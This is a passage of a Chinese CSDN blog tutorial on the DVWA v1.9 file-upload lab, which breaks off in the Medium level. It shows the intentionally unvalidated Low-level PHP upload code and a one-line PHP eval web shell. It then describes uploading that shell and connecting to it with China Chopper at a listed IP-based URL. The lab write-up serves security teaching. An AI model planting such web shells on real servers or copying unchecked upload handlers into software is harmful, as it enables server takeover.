DVWA V1.9:File Upload(文件上传)

本文详细介绍了DVWA V1.9中的文件上传漏洞,从Low到Impossible四个级别,分析了每个级别中的核心代码、官方提示及漏洞利用方法。在Low级别,服务器对文件类型和内容不做检查,允许执行恶意代码。Medium级别增加了文件类型和大小限制,但可通过改扩展名或Burp Suite抓包绕过。High级别通过检查文件名和文件头防止非图像文件上传,但利用Copy方法仍能上传恶意文件。Impossible级别通过重命名、反CSRF和内容检查,使得攻击难以执行。
摘要由CSDN通过智能技术生成

File Inclusion 介绍

上传的文件是Web应用程序的一大风险。
许多攻击的第一步是让一些代码攻击系统,然后攻击者只需要找到一种方法来执行代码。
使用文件上传有助于攻击者完成第一步。

不受限制的文件上传的后果会有所不同,包括完整的系统接管、过载的文件系统、向后端系统转发攻击和简单的破坏。
这取决于应用程序对上传文件所做的操作,包括存储的位置。
在这里插入图片描述

Low 级别

核心代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
   
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
   
        // Yes!
        echo "<pre>{
     $target_path} succesfully uploaded!</pre>";
    }
}

?>

basename(path,suffix)
函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

官方提示

低级别将不检查文件以任何方式上载的内容。它只依赖于信任。

Spoiler: Upload any valid PHP file with command in it.

漏洞利用

文件上传漏洞的利用是有限制条件的,
首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。
不幸的是,这里三个条件全都满足。

编写php一句话木马文件。

<?php eval($_POST[wanku]);?> 

在这里插入图片描述
上传木马文件。
在这里插入图片描述
路径也给出来了,使用菜刀去连接,成功。

http://43.247.91.228:81/hackable/uploads/shell.php

在这里插入图片描述

Medium 级别

核心代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值